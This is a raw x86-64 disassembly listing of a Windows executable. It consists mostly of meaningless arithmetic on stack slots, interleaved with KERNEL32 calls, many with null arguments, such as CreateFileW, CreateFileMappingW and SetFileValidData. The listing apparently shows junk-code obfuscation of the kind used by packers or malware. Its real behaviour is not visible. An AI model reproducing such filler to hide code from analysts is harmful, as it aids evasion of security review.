mov word [rsp + 0x2f14], ax
mov rax, qword [rsp + 0x19828]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19d00]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x837], al
mov rax, qword [0x1402bf718]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd5e8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xb684], eax
mov rax, qword [rsp + 0x1a528]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9974]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xcf78], eax
mov eax, dword [rsp + 0xcedc]
mov dword [rsp + 0xdcd4], eax
mov eax, dword [0x1402ad860]
movzx ecx, al
mov eax, dword [rsp + 0xd630]
shl eax, cl
mov dword [rsp + 0xb21c], eax
movzx eax, byte [rsp + 0x214]
mov rcx, qword [rsp + 0x1a878]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov byte [0x1402acb7a], al
mov rax, qword [rsp + 0x1a848]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x36f8]
or eax, ecx
mov rcx, qword [rsp + 0x1a5a0]
mov word [rcx], ax
mov rcx, qword [rsp + 0x1a100]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xdcd8], eax
mov rax, qword [rsp + 0x19db8]
mov eax, dword [rax]
mov dword [rsp + 0xdcdc], eax
movzx ecx, word [rsp + 0x399c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x36d8], ax
mov rax, qword [rsp + 0x1a9e0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x1ab98]
mov qword [rsp + 0x1aba0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1aba0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xb5b4], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
lea rax, [rsp + 0x116]
mov qword [rsp + 0x1aba8], rax
mov rax, qword [rsp + 0x19890]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x3304]
xor eax, ecx
mov rcx, qword [rsp + 0x1a540]
mov word [rcx], ax
mov edx, 0x6a04ed
mov rcx, qword [rsp + 0x1a360]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xdce0], eax
mov rax, qword [rsp + 0x1aa18]
movzx eax, byte [rax]
mov byte [rsp + 0x89d], al
movzx eax, word [rsp + 0x3990]
mov rcx, qword [rsp + 0x1a010]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x38cc], ax
mov eax, dword [rsp + 0xd998]
mov ecx, dword [0x1402ad66c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xbac8], eax
mov rax, qword [rsp + 0x1a260]
mov rcx, qword [rsp + 0x1a938]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [0x1402ad8c4], eax
mov rax, qword [rsp + 0x19f20]
mov ecx, dword [rsp + 0x9e5c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xb0b8], eax
mov rax, qword [rsp + 0x1a420]
mov ecx, dword [rsp + 0xb134]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd0d0], eax
mov eax, dword [rsp + 0xd494]
mov dword [rsp + 0xdce4], eax
mov rax, qword [rsp + 0x1a378]
movzx eax, word [rax]
movzx ecx, word [0x1402ad660]
add eax, ecx
mov word [rsp + 0x39d0], ax
movzx eax, byte [rsp + 0x823]
mov rcx, qword [rsp + 0x19c28]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x7b4], al
mov rax, qword [rsp + 0x1a3e0]
mov eax, dword [rax]
mov dword [rsp + 0xdce8], eax
mov eax, dword [0x1402ad7a0]
mov ecx, dword [rsp + 0xd0a4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd980], eax
mov rax, qword [rsp + 0x19f50]
mov ecx, dword [rsp + 0x8d5c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xae68], eax
lea rax, [rsp + 0xd8d4]
mov qword [0x1402bf3e0], rax
mov ecx, 0xc
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0xd250], eax
movzx eax, byte [0x1402acc53]
movzx ecx, byte [rsp + 0x7a9]
sub eax, ecx
mov byte [rsp + 0x7cb], al
mov rax, qword [rsp + 0x1a240]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x199a0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x3688], ax
movzx eax, byte [rsp + 0x87c]
mov byte [rsp + 0x89e], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xd104], eax
mov rax, qword [0x1402bf6a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1f80]
or eax, ecx
mov word [rsp + 0x3774], ax
mov eax, dword [rsp + 0xd9a8]
mov dword [rsp + 0xdcec], eax
mov rax, qword [rsp + 0x1a938]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcfbc]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xd0a0], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
movzx eax, byte [0x1402acc3a]
movzx ecx, byte [rsp + 0x81d]
sar eax, cl
mov byte [rsp + 0x613], al
mov rax, qword [rsp + 0x1a9a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x37f0]
cdq
idiv ecx
mov word [rsp + 0x2bf4], ax
mov rax, qword [0x1402bf4e0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x1a528]
mov qword [rsp + 0x1abb0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1abb0]
mov eax, dword [rax]
shl eax, cl
mov dword [0x1402ad748], eax
mov rax, qword [rsp + 0x19df8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd038]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xb164], eax
mov r9d, 1
lea r8, [rsp + 0x19918]
mov rdx, qword [rsp + 0x1aae8]
mov rcx, qword [rsp + 0x19cb0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xdcf0], eax
mov eax, dword [rsp + 0x93c4]
mov dword [rsp + 0xdcf4], eax
mov rax, qword [rsp + 0x1a168]
mov rcx, qword [rsp + 0x1a150]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd5e4], eax
movzx eax, word [rsp + 0x368c]
mov word [rsp + 0x3b04], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xd990], eax
movzx eax, byte [rsp + 0x7d8]
mov rcx, qword [rsp + 0x1a6a8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x82c], al
mov eax, dword [rsp + 0xd31c]
mov ecx, dword [rsp + 0xa368]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xb7e0], eax
mov rax, qword [rsp + 0x1aad0]
mov rcx, qword [rsp + 0x1a780]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8374], eax
lea rcx, [rsp + 0x19b38]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x19728]
mov ecx, dword [0x1402ad748]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa668], eax
mov rax, qword [rsp + 0x1a3c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcff8]
sub ecx, eax
mov eax, ecx
mov dword [0x1402ad8c8], eax
mov eax, dword [rsp + 0xd2b0]
mov dword [rsp + 0xdcf8], eax
movsx eax, word [rsp + 0x372c]
mov rcx, qword [rsp + 0x1a540]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x3970], ax
mov rax, qword [rsp + 0x19ff0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x871]
add eax, ecx
mov byte [rsp + 0x37b], al
mov rax, qword [rsp + 0x1a318]
movzx eax, word [rax]
mov word [rsp + 0x3b08], ax
movzx eax, byte [0x1402bf710]
movzx ecx, byte [rsp + 0x81b]
sar eax, cl
mov byte [rsp + 0x7ce], al
mov eax, dword [rsp + 0xd7d0]
mov dword [rsp + 0xdcfc], eax
mov rax, qword [rsp + 0x1a620]
mov ecx, dword [rsp + 0xd2f0]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xdc30], eax
movzx eax, word [rsp + 0x1b8c]
mov rcx, qword [rsp + 0x19b50]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2f14], ax
mov rax, qword [rsp + 0x19828]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x45b]
shl eax, cl
mov byte [0x1402acc07], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], ILIsParent
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.gohg9jxg_n43wgkM5CWwzUKvV_s7q
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1abb8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
mov rax, qword [rsp + 0x1a0d0]
mov rcx, qword [rsp + 0x1a410]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xbb10], eax
mov rax, qword [rsp + 0x19c00]
mov rcx, qword [rsp + 0x19f10]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x19988]
mov dword [rcx], eax
lea rax, [rsp + 0xd01c]
mov qword [rsp + 0x1abc0], rax
mov rax, qword [rsp + 0x19f58]
mov rcx, qword [rsp + 0x1a5f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd930], eax
movzx eax, byte [rsp + 0x7ff]
movzx ecx, byte [rsp + 0x7c3]
add eax, ecx
mov byte [rsp + 0x636], al
movzx eax, word [rsp + 0x3780]
mov word [rsp + 0x3b0c], ax
mov rax, qword [rsp + 0x19d70]
mov rcx, qword [rsp + 0x1a080]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd4e4], eax
mov rax, qword [rsp + 0x1ab68]
mov eax, dword [rax]
mov dword [rsp + 0xdd00], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
movsx eax, byte [rsp + 0x5fc]
mov rcx, qword [rsp + 0x1a088]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x1402acbb2], al
movsx eax, word [rsp + 0x378c]
movsx ecx, word [rsp + 0x3800]
add eax, ecx
mov word [rsp + 0x3918], ax
movzx eax, word [rsp + 0x3b08]
mov rcx, qword [rsp + 0x1a0d8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2488], ax
movzx eax, byte [rsp + 0x45b]
movzx ecx, byte [rsp + 0x7ed]
sub eax, ecx
mov rcx, qword [rsp + 0x196d8]
mov byte [rcx], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleCount]
mov eax, dword [rsp + 0xd820]
mov ecx, dword [rsp + 0xd624]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcd10], eax
mov rax, qword [rsp + 0x1aa00]
mov eax, dword [rax]
mov dword [rsp + 0xdd04], eax
mov rax, qword [0x1402bf4b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xdb84]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xcde0], eax
mov rax, qword [rsp + 0x1a2c8]
mov eax, dword [rax]
mov dword [rsp + 0xdd08], eax
mov rax, qword [rsp + 0x1aa30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xda44]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9500], eax
mov rax, qword [rsp + 0x1a558]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x809]
shl eax, cl
mov byte [rsp + 0x6d3], al
movzx eax, word [rsp + 0x3758]
mov word [0x1402bf3d8], ax
mov eax, dword [rsp + 0xd25c]
movzx ecx, al
mov eax, dword [rsp + 0xd3d4]
shr eax, cl
mov dword [rsp + 0x9208], eax
mov rax, qword [0x1402bf750]
mov rcx, qword [rsp + 0x19980]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xcc18], eax
mov eax, dword [rsp + 0xd9b8]
mov dword [rsp + 0xdd0c], eax
mov rax, qword [rsp + 0x19d58]
mov ecx, dword [rsp + 0xd278]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x1a528]
mov dword [rcx], eax
movzx eax, word [0x1402bf65c]
mov rcx, qword [rsp + 0x1a0d8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x38ac], ax
lea rax, [rsp + 0x869]
mov qword [rsp + 0x1abc8], rax
mov rax, qword [rsp + 0x19ca8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1a7e8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x3704], ax
mov rax, qword [rsp + 0x1a220]
movzx eax, byte [rax]
mov byte [rsp + 0x89f], al
mov eax, dword [rsp + 0xd3c4]
mov ecx, dword [rsp + 0xc7e0]
sub ecx, eax
mov eax, ecx
mov dword [0x1402bf6dc], eax
movzx ecx, word [rsp + 0x3938]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x3b10], ax
mov rax, qword [rsp + 0x1a928]
mov rcx, qword [rsp + 0x19e90]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xdbfc], eax
movzx eax, byte [rsp + 0x7d3]
imul eax, eax, 0x8b
mov byte [rsp + 0x608], al
movzx eax, word [rsp + 0x23d4]
mov rcx, qword [rsp + 0x1a0d8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x3744], ax
mov rax, qword [0x1402bf4b0]
mov ecx, dword [rsp + 0x82e4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd510], eax
mov rax, qword [rsp + 0x1a0b8]
mov eax, dword [rax]
mov dword [rsp + 0xdd10], eax
mov rax, qword [rsp + 0x19a18]
mov rcx, qword [rsp + 0x19e98]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xdc80], eax
mov eax, dword [rsp + 0xb6e8]
mov dword [rsp + 0xdd14], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xd424], eax
lea rdx, [rsp + 0xcdb8]
mov rcx, qword [rsp + 0x1a360]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xd218], eax
mov rax, qword [rsp + 0x1a1f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19d18]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x393c], ax
movzx eax, byte [rsp + 0x847]
movzx ecx, byte [rsp + 0x8d]
or eax, ecx
mov byte [0x1402acc5a], al
mov rax, qword [rsp + 0x1aa70]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x1ab60]
mov qword [rsp + 0x1abd0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1abd0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xd650], eax
lea rax, [rsp + 0xd818]
mov qword [rsp + 0x1abd8], rax
mov rax, qword [rsp + 0x1a718]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd2a4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x9148], eax
mov rax, qword [rsp + 0x1a050]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x1402bf560]
shl eax, cl
mov dword [rsp + 0xa010], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x1abe0], rax
mov eax, dword [rsp + 0xdab8]
mov ecx, dword [rsp + 0x95c8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xda98], eax
mov rax, qword [0x1402bf708]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1a340]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x19ec8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x7d2]
mov byte [rsp + 0x8a0], al
mov rax, qword [rsp + 0x1a840]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x78]
add eax, ecx
mov byte [rsp + 0x861], al
mov rax, qword [rsp + 0x1a930]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x379c]
add eax, ecx
mov word [0x1402ad8cc], ax
mov rax, qword [rsp + 0x19d58]
mov eax, dword [rax]
mov dword [rsp + 0xdd18], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xccdc], eax
mov eax, dword [rsp + 0xbac0]
mov ecx, dword [rsp + 0xa264]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19dc0]
mov dword [rcx], eax
movzx eax, word [0x1402ad884]
mov rcx, qword [rsp + 0x1a0d8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3878], ax
movzx eax, byte [rsp + 0x7b4]
mov byte [rsp + 0x8a1], al
mov rax, qword [rsp + 0x198e0]
mov ecx, dword [rsp + 0xd0c0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd8d0], eax
mov rcx, qword [rsp + 0x1a348]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [0x1402ad7a0]
mov qword [rsp + 0x1abe8], rax
mov rax, qword [rsp + 0x19df8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x843c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xdca8], eax
mov rax, qword [rsp + 0x19c60]
mov ecx, dword [rsp + 0x8940]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9210], eax
movzx eax, word [rsp + 0x22d0]
movzx ecx, word [rsp + 0x3794]
xor eax, ecx
mov word [0x1402bf460], ax
mov rax, qword [rsp + 0x19d00]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7d6]
shl eax, cl
mov byte [rsp + 0x608], al
mov eax, dword [rsp + 0xdbe8]
mov ecx, dword [0x1402ad664]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xd354], eax
mov rax, qword [rsp + 0x1a5e0]
mov eax, dword [rax]
mov dword [rsp + 0xdd1c], eax
movsx eax, word [rsp + 0x3830]
movsx ecx, word [rsp + 0x2c28]
sar eax, cl
mov word [rsp + 0x1f9c], ax
lea rcx, [rsp + 0x2d770]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0xcf94], eax
movzx eax, byte [0x1402bf544]
mov byte [rsp + 0x8a2], al
movzx eax, word [rsp + 0x1c50]
movzx ecx, word [rsp + 0x392c]
add eax, ecx
mov word [rsp + 0x3264], ax
lea rcx, [rsp + 0x2b040]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov rax, qword [rsp + 0x1a188]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a6b8]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x892], al
mov rax, qword [rsp + 0x1a0d0]
mov eax, dword [rax]
mov ecx, dword [0x1402ad69c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xc7a8], eax
mov rax, qword [rsp + 0x1a200]
mov ecx, dword [rsp + 0xcf7c]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402ad838], eax
mov rax, qword [rsp + 0x1a0e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xda1c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xbee8], eax
mov rax, qword [rsp + 0x1a4e0]
mov eax, dword [rax]
mov dword [rsp + 0xdd20], eax
mov rax, qword [rsp + 0x1a210]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd9f4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd0f0], eax
mov rax, qword [rsp + 0x1a170]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7c2]
sub eax, ecx
mov rcx, qword [rsp + 0x1a638]
mov byte [rcx], al
movzx eax, word [rsp + 0x3670]
mov word [rsp + 0x3b14], ax
lea rdx, [rsp + 0xdca4]
mov rcx, qword [rsp + 0x1a8a0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xd618], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x1aa68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd114]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1a140]
mov dword [rcx], eax
mov eax, dword [rsp + 0xd3f4]
mov ecx, dword [0x1402bf780]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa594], eax
mov rax, qword [rsp + 0x1a178]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcfc0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd55c], eax
mov rax, qword [rsp + 0x198f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xdb88]
and ecx, eax
mov eax, ecx
mov dword [0x1402ad8d0], eax
lea rax, [rsp + 0x7be]
mov qword [rsp + 0x1abf0], rax
movzx eax, word [rsp + 0x37d8]
mov rcx, qword [rsp + 0x197a8]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x3a18], ax
movsx eax, byte [0x1402bcfe1]
mov rcx, qword [rsp + 0x19880]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x782], al
mov rax, qword [rsp + 0x19800]
movzx eax, word [rax]
mov word [rsp + 0x3b18], ax
mov eax, dword [rsp + 0x9ec8]
movzx ecx, al
mov eax, dword [rsp + 0xa6d8]
shl eax, cl
mov dword [rsp + 0xdb94], eax
mov rax, qword [rsp + 0x19d98]
mov eax, dword [rax]
mov dword [rsp + 0xdd24], eax
mov rax, qword [rsp + 0x1a170]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x451]
xor eax, ecx
mov byte [rsp + 0x87b], al
mov rax, qword [rsp + 0x1a378]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x36f0]
or eax, ecx
mov word [rsp + 0x3ad0], ax
lea rax, [0x1402ad664]
mov qword [0x1402bf3d0], rax
mov eax, dword [rsp + 0xdb84]
mov ecx, dword [rsp + 0xa280]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8160], eax
mov eax, dword [rsp + 0x8458]
mov ecx, dword [rsp + 0xbdd8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd254], eax
mov rax, qword [0x1402bf670]
mov eax, dword [rax]
mov dword [rsp + 0xdd28], eax
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a310]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x843], al
movzx ecx, word [rsp + 0x397c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x37e0], ax
mov rax, qword [rsp + 0x19c40]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19950]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x390c], ax
mov rax, qword [0x1402bf5c0]
mov eax, dword [rax]
mov dword [rsp + 0xdd2c], eax
mov rax, qword [rsp + 0x19ef8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa240]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8de8], eax
mov eax, dword [rsp + 0xdbc4]
mov dword [rsp + 0xdd30], eax
mov rax, qword [0x1402bf638]
mov rcx, qword [rsp + 0x198b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402ad740], eax
mov rax, qword [rsp + 0x19cd8]
mov rcx, qword [rsp + 0x1a9f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd570], eax
mov rax, qword [rsp + 0x1a270]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x19880]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x15e], al
mov rax, qword [rsp + 0x19ec8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x19890]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x34e8], ax
mov ecx, 9
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0xcd2c], eax
mov rax, qword [rsp + 0x19860]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a558]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x623], al
movzx eax, word [0x1402bf6a4]
mov word [rsp + 0x3b1c], ax
mov eax, dword [rsp + 0xd064]
mov ecx, dword [rsp + 0x9354]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd414], eax
mov rax, qword [rsp + 0x1a038]
mov eax, dword [rax]
mov dword [rsp + 0xdd34], eax
mov rax, qword [rsp + 0x1a218]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x79a]
sub eax, ecx
mov byte [rsp + 0x7dc], al
movzx eax, word [rsp + 0x360c]
movzx ecx, word [rsp + 0x181c]
sar eax, cl
mov word [0x1402bf5b8], ax
mov rax, qword [rsp + 0x1a420]
mov rcx, qword [0x1402bf3d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xceac], eax
mov rcx, qword [rsp + 0x19cb0]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xdd38], eax
mov rax, qword [rsp + 0x19fb8]
mov ecx, dword [rsp + 0xae68]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xb488], eax
mov rax, qword [rsp + 0x19ab0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19a18]
mov qword [rsp + 0x1abf8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1abf8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xd5f8], eax
mov rax, qword [rsp + 0x1a368]
mov eax, dword [rax]
mov dword [rsp + 0xdd3c], eax
mov rax, qword [rsp + 0x1a820]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2978]
and eax, ecx
mov word [rsp + 0x3a2c], ax
movzx eax, byte [rsp + 0x82d]
imul eax, eax, 0x6a
mov byte [rsp + 0x843], al
lea rax, [0x1402bf5b4]
mov qword [rsp + 0x1ac00], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov eax, dword [rsp + 0xcb54]
mov ecx, dword [rsp + 0x874c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd6c4], eax
movzx eax, byte [rsp + 0x28e]
mov byte [0x1402bf3ca], al
mov rax, qword [rsp + 0x19800]
movzx eax, word [rax]
mov word [rsp + 0x3b20], ax
mov rcx, qword [rsp + 0x1aa80]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, byte [0x1402acbef]
movzx ecx, byte [rsp + 0x190]
add eax, ecx
mov byte [rsp + 0x8a1], al
movzx eax, word [rsp + 0x35c4]
movzx ecx, word [rsp + 0x3b08]
and eax, ecx
mov word [rsp + 0x39f0], ax
lea rax, [0x1402bf528]
mov qword [rsp + 0x1ac08], rax
mov rax, qword [rsp + 0x1a410]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd558]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1a368]
mov dword [rcx], eax
lea rax, [rsp + 0xdbbc]
mov qword [rsp + 0x1ac10], rax
mov rax, qword [rsp + 0x1aa68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xdaa8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1a008]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19fb8]
mov rcx, qword [rsp + 0x198f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x82e4], eax
mov rax, qword [rsp + 0x1a8e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19e00]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x3100], ax
mov rcx, qword [rsp + 0x1a658]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xcce0], eax
mov rax, qword [0x1402bf518]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7f6]
add eax, ecx
mov byte [0x1402acc5b], al
mov rax, qword [rsp + 0x1a410]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcc40]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x9e28], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xdd40], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0xcc28
mov rcx, qword [rsp + 0x1a2f8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xd218], eax
mov rax, qword [rsp + 0x19e78]
mov eax, dword [rax]
mov dword [rsp + 0xdd44], eax
lea rdx, [rsp + 0xdd48]
mov rcx, qword [rsp + 0x1a8a0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xd9a4], eax
mov rax, qword [rsp + 0x19e90]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x1a450]
mov qword [rsp + 0x1ac18], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1ac18]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xd4ec], eax
mov rax, qword [rsp + 0x1aaa8]
mov eax, dword [rax]
